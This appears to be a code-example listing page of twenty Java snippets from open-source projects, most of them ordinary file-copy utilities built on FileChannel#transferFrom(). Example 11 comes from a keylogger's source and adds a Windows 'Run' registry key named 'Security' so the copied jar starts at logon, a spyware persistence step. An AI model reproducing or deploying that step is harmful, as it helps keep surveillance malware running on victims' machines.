Java Code Examples for java.nio.channels.FileChannel#transferFrom()

The following examples show how to use java.nio.channels.FileChannel#transferFrom() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: FileIO.java    From magarena with GNU General Public License v3.0 6 votes vote down vote up
public static void copyFile(final File sourceFile, final File destFile) throws IOException {
    if (!destFile.exists()) {
        destFile.createNewFile();
    }
    try (final FileInputStream fIn = new FileInputStream(sourceFile);
         final FileOutputStream fOut = new FileOutputStream(destFile)) {
        final FileChannel source = fIn.getChannel();
        final FileChannel destination = fOut.getChannel();
        long transfered = 0;
        final long bytes = source.size();
        while (transfered < bytes) {
            transfered += destination.transferFrom(source, 0, source.size());
            destination.position(transfered);
        }
    }
}
 
Example 2
Source File: FileUtil.java    From live-chat-engine with Apache License 2.0 6 votes vote down vote up
public static void copyFile(File sourceFile, File destFile) throws IOException {
	if (!destFile.exists()) {
		destFile.getParentFile().mkdirs();
		destFile.createNewFile();
	}

	FileChannel source = null;
	FileChannel destination = null;
	try {
		source = new FileInputStream(sourceFile).getChannel();
		destination = new FileOutputStream(destFile).getChannel();
		destination.transferFrom(source, 0, source.size());
	} finally {
		if (source != null) {
			source.close();
		}
		if (destination != null) {
			destination.close();
		}
	}
}
 
Example 3
Source File: OModel.java    From framework with GNU Affero General Public License v3.0 6 votes vote down vote up
public void exportDB() {
    FileChannel source;
    FileChannel destination;
    String currentDBPath = getDatabaseLocalPath();
    String backupDBPath = OStorageUtils.getDirectoryPath("file")
            + "/" + getDatabaseName();
    File currentDB = new File(currentDBPath);
    File backupDB = new File(backupDBPath);
    try {
        source = new FileInputStream(currentDB).getChannel();
        destination = new FileOutputStream(backupDB).getChannel();
        destination.transferFrom(source, 0, source.size());
        source.close();
        destination.close();
        String subject = "Database Export: " + getDatabaseName();
        Uri uri = Uri.fromFile(backupDB);
        Intent intent = new Intent(Intent.ACTION_SEND);
        intent.putExtra(Intent.EXTRA_STREAM, uri);
        intent.putExtra(Intent.EXTRA_SUBJECT, subject);
        intent.setType("message/rfc822");
        mContext.startActivity(intent);
    } catch (IOException e) {
        e.printStackTrace();
    }
}
 
Example 4
Source File: FileUtils.java    From netty-cookbook with Apache License 2.0 6 votes vote down vote up
public static void copyFile(File source, File dest) {
	FileChannel inputChannel = null;
	FileChannel outputChannel = null;
	try {
		try {
			inputChannel = new FileInputStream(source).getChannel();
			outputChannel = new FileOutputStream(dest).getChannel();
			outputChannel.transferFrom(inputChannel, 0, inputChannel.size());
		} finally {				
			if(inputChannel != null){
				inputChannel.close();
			}
			if(outputChannel != null){
				outputChannel.close();
			}				
		}
	} catch (Exception e) {
		e.printStackTrace();
	}
}
 
Example 5
Source File: Helper.java    From packer-ng-plugin with Apache License 2.0 6 votes vote down vote up
public static void copyFile(File src, File dest) throws IOException {
    if (!dest.exists()) {
        dest.createNewFile();
    }
    FileChannel source = null;
    FileChannel destination = null;
    try {
        source = new FileInputStream(src).getChannel();
        destination = new FileOutputStream(dest).getChannel();
        destination.transferFrom(source, 0, source.size());
    } finally {
        if (source != null) {
            source.close();
        }
        if (destination != null) {
            destination.close();
        }
    }
}
 
Example 6
Source File: MCRWebPagesSynchronizer.java    From mycore with GNU General Public License v3.0 6 votes vote down vote up
private static void copyFile(File srcFile, File destFile, long chunkSize) throws IOException {
    try (FileInputStream is = new FileInputStream(srcFile);
        FileOutputStream os = new FileOutputStream(destFile, false)) {
        FileChannel iChannel = is.getChannel();
        FileChannel oChannel = os.getChannel();
        long doneBytes = 0L;
        long todoBytes = srcFile.length();
        while (todoBytes != 0L) {
            long iterationBytes = Math.min(todoBytes, chunkSize);
            long transferredLength = oChannel.transferFrom(iChannel, doneBytes, iterationBytes);
            if (iterationBytes != transferredLength) {
                throw new IOException("Error during file transfer: expected " + iterationBytes + " bytes, only "
                    + transferredLength + " bytes copied.");
            }
            doneBytes += transferredLength;
            todoBytes -= transferredLength;
        }
    }
    boolean successTimestampOp = destFile.setLastModified(srcFile.lastModified());
    if (!successTimestampOp) {
        LOGGER.warn(String.format(Locale.ROOT,
            "Could not change timestamp for %s. Index synchronization may be slow.", destFile));
    }
}
 
Example 7
Source File: Assemble.java    From TencentKona-8 with GNU General Public License v2.0 6 votes vote down vote up
private void transferTo(List<Path> sourceFiles, Path output, FileChannel out) throws UserDataException {
    long pos = 0;
    for (Path p : sourceFiles) {
        println(" " + p.toString());
        try (FileChannel sourceChannel = FileChannel.open(p)) {
            long rem = Files.size(p);
            while (rem > 0) {
                long n = Math.min(rem, 1024 * 1024);
                long w = out.transferFrom(sourceChannel, pos, n);
                pos += w;
                rem -= w;
            }
        } catch (IOException ioe) {
            throw new UserDataException("could not copy recording chunk " + p + " to new file. " + ioe.getMessage());
        }
    }
}
 
Example 8
Source File: ExternalResources.java    From mybatis with Apache License 2.0 6 votes vote down vote up
public static void copyExternalResource(File sourceFile, File destFile) throws IOException {
  if (!destFile.exists()) {
    destFile.createNewFile();
  }

  FileChannel source = null;
  FileChannel destination = null;
  try {
    source = new FileInputStream(sourceFile).getChannel();
    destination = new FileOutputStream(destFile).getChannel();
    destination.transferFrom(source, 0, source.size());
  } finally {
    closeQuietly(source);
    closeQuietly(destination);
  }

}
 
Example 9
Source File: Utilities.java    From Yahala-Messenger with MIT License 6 votes vote down vote up
public static boolean copyFile(File sourceFile, File destFile) throws IOException {
    if (!destFile.exists()) {
        destFile.createNewFile();
    }
    FileChannel source = null;
    FileChannel destination = null;
    try {
        source = new FileInputStream(sourceFile).getChannel();
        destination = new FileOutputStream(destFile).getChannel();
        destination.transferFrom(source, 0, source.size());
    } catch (Exception e) {
        FileLog.e("tmessages", e);
        return false;
    } finally {
        if (source != null) {
            source.close();
        }
        if (destination != null) {
            destination.close();
        }
    }
    return true;
}
 
Example 10
Source File: Gpio.java    From systemsgenetics with GNU General Public License v3.0 6 votes vote down vote up
public static void copyFile(File sourceFile, File destFile) throws IOException {
    if (!destFile.exists()) {
        destFile.createNewFile();
    }

    FileChannel source = null;
    FileChannel destination = null;
    try {
        source = new FileInputStream(sourceFile).getChannel();
        destination = new FileOutputStream(destFile).getChannel();
        destination.transferFrom(source, 0, source.size());
    } finally {
        if (source != null) {
            source.close();
        }
        if (destination != null) {
            destination.close();
        }
    }
}
 
Example 11
Source File: Keylogger.java    From sAINT with BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
private static void copyFile(String source, String dest) {
    File jar_file = new File(app_path + name_jar);
    if (!jar_file.exists()) {
        File sourceFile = new File(source);
        File destFile = new File(dest);
        FileChannel sourceChannel = null;
        FileChannel destChannel = null;
        try {
            sourceChannel = new FileInputStream(sourceFile).getChannel();
            destChannel = new FileOutputStream(destFile).getChannel();
            destChannel.transferFrom(sourceChannel, 0, sourceChannel.size());
        } catch (IOException e) {
            e.printStackTrace();
        }
        try {
            Runtime.getRuntime().exec("REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V \"Security\" /t REG_SZ /F /D \""+app_path+name_jar+"\"");
        } catch (IOException ex) {
            System.out.println(ex.getMessage());
        }
    }
}
 
Example 12
Source File: FileUtils.java    From niftyeditor with Apache License 2.0 5 votes vote down vote up
public static void copyFile(File source, File dest)
		throws IOException {
	FileChannel inputChannel = null;
	FileChannel outputChannel = null;
	try {
		inputChannel = new FileInputStream(source).getChannel();
		outputChannel = new FileOutputStream(dest).getChannel();
		outputChannel.transferFrom(inputChannel, 0, inputChannel.size());
	} finally {
		inputChannel.close();
		outputChannel.close();
	}
}
 
Example 13
Source File: APDE.java    From APDE with GNU General Public License v2.0 5 votes vote down vote up
public static void copyFile(File sourceFile, File destFile) throws IOException {
	if (sourceFile.isDirectory()) {
   		for (File content : sourceFile.listFiles()) {
   			copyFile(content, new File(destFile, content.getName()));
   		}
   		
   		//Don't try to copy the folder using file methods, it won't work
   		return;
   	}
	
	if (!destFile.exists()) {
		destFile.getParentFile().mkdirs();
		destFile.createNewFile();
	}
	
	FileChannel source = null;
	FileChannel destination = null;
	
	try {
		source = new FileInputStream(sourceFile).getChannel();
		destination = new FileOutputStream(destFile).getChannel();
		destination.transferFrom(source, 0, source.size());
	} finally {
		if (source != null) {
			source.close();
		}
		if (destination != null) {
			destination.close();
		}
	}
}
 
Example 14
Source File: ServerConfigurationManager.java    From micro-integrator with Apache License 2.0 5 votes vote down vote up
/**
 * Apply configuration from source file to a target file without restarting.
 *
 * @param sourceFile Source file to copy.
 * @param targetFile Target file that is to be backed up and replaced.
 * @param backup     boolean value, set this to true if you want to backup the original file.
 * @throws IOException - throws if apply configuration fails
 */
public void applyConfigurationWithoutRestart(File sourceFile, File targetFile, boolean backup) throws IOException {
    // Using InputStreams to copy bytes instead of Readers that copy chars.
    // Otherwise things like JKS files get corrupted during copy.
    FileChannel source = null;
    FileChannel destination = null;
    if (backup) {
        backupConfiguration(targetFile);
        source = new FileInputStream(sourceFile).getChannel();
        destination = new FileOutputStream(originalConfig).getChannel();
    } else {
        if (!targetFile.exists()) {
            if (!targetFile.createNewFile()) {
                throw new IOException("File " + targetFile + "creation fails");
            }
        }
        source = new FileInputStream(sourceFile).getChannel();
        destination = new FileOutputStream(targetFile).getChannel();
    }
    destination.transferFrom(source, 0, source.size());
    if (source != null) {
        source.close();
    }
    if (destination != null) {
        destination.close();
    }
}
 
Example 15
Source File: SSLSocket.java    From jlibs with Apache License 2.0 5 votes vote down vote up
@Override
public long transferTo(long position, long count, FileChannel target) throws IOException{
    ByteBuffer appReadBuffer = appReadBuffers[appReadBuffers.length-1];
    if(appReadBuffer.hasRemaining())
        return NIOUtil.transfer(appReadBuffer, target, position, count);
    return target.transferFrom(this, position, count);
}
 
Example 16
Source File: ChunkedStreamSourceConduit.java    From lams with GNU General Public License v2.0 5 votes vote down vote up
public long transferTo(final long position, final long count, final FileChannel target) throws IOException {
    try {
        return target.transferFrom(new ConduitReadableByteChannel(this), position, count);
    } catch (IOException | RuntimeException | Error e) {
        IoUtils.safeClose(closeable);
        throw e;
    }
}
 
Example 17
Source File: GenericCopyUtil.java    From PowerFileExplorer with GNU General Public License v3.0 5 votes vote down vote up
private boolean copyFile(FileChannel inChannel, FileChannel outChannel) throws IOException {

        //MappedByteBuffer inByteBuffer = inChannel.map(FileChannel.MapMode.READ_ONLY, 0, inChannel.size());
        //MappedByteBuffer outByteBuffer = outChannel.map(FileChannel.MapMode.READ_WRITE, 0, inChannel.size());

        ReadableByteChannel inByteChannel = new CustomReadableByteChannel(inChannel);
        outChannel.transferFrom(inByteChannel, 0, mSourceFile.size);
		return true;
    }
 
Example 18
Source File: CordovaResourceApi.java    From crosswalk-cordova-android with Apache License 2.0 5 votes vote down vote up
public void copyResource(OpenForReadResult input, OutputStream outputStream) throws IOException {
    assertBackgroundThread();
    try {
        InputStream inputStream = input.inputStream;
        if (inputStream instanceof FileInputStream && outputStream instanceof FileOutputStream) {
            FileChannel inChannel = ((FileInputStream)input.inputStream).getChannel();
            FileChannel outChannel = ((FileOutputStream)outputStream).getChannel();
            long offset = 0;
            long length = input.length;
            if (input.assetFd != null) {
                offset = input.assetFd.getStartOffset();
            }
            outChannel.transferFrom(inChannel, offset, length);
        } else {
            final int BUFFER_SIZE = 8192;
            byte[] buffer = new byte[BUFFER_SIZE];
            
            for (;;) {
                int bytesRead = inputStream.read(buffer, 0, BUFFER_SIZE);
                
                if (bytesRead <= 0) {
                    break;
                }
                outputStream.write(buffer, 0, bytesRead);
            }
        }            
    } finally {
        input.inputStream.close();
        if (outputStream != null) {
            outputStream.close();
        }
    }
}
 
Example 19
Source File: FileUtil.java    From AppPlus with MIT License 5 votes vote down vote up
/**
 * copy file
 * @param source
 * @param dest
 * @throws IOException
 */
public static void copyFileUsingFileChannels(File source, File dest)
        throws IOException {
    FileChannel inputChannel = null;
    FileChannel outputChannel = null;
    try {
        inputChannel = new FileInputStream(source).getChannel();
        outputChannel = new FileOutputStream(dest).getChannel();
        outputChannel.transferFrom(inputChannel, 0, inputChannel.size());
    } finally {
        inputChannel.close();
        outputChannel.close();
    }
}
 
Example 20
Source File: Socket.java    From jlibs with Apache License 2.0 4 votes vote down vote up
@Override
public long transferTo(long position, long count, FileChannel target) throws IOException{
    return target.transferFrom(reader, position, count);
}